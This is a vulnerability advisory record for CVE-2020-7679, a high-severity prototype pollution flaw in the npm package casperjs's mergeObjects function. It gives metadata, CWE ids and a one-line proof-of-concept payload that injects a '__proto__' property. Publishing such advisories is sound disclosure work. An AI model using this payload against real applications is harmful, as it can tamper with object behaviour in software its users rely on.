GHSA-vrr3-5r3v-7xfw
Suggest an improvement- Source
- https://github.com/advisories/GHSA-vrr3-5r3v-7xfw
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vrr3-5r3v-7xfw/GHSA-vrr3-5r3v-7xfw.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-vrr3-5r3v-7xfw
- Aliases
-
- CVE-2020-7679
- Published
- 2021-05-17T21:00:52Z
- Modified
- 2023-11-08T04:04:04.341567Z
- Severity
-
- 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator
- Summary
- Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs
- Details
-
Overview
casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.
PoC
var payload = JSON.parse('{"__proto__": {"a": "pwned"}}'); mergeObjects({}, payload); console.log({}.a); // prints "pwned" - Database specific
{ "github_reviewed": true, "cwe_ids": [ "CWE-1321", "CWE-915" ], "github_reviewed_at": "2021-05-11T22:26:54Z", "nvd_published_at": "2020-06-19T11:15:00Z", "severity": "HIGH" }- References
Affected packages
npm / casperjs
Package
- Name
- casperjs
- View open source insights on deps.dev
- Purl
- pkg:npm/casperjs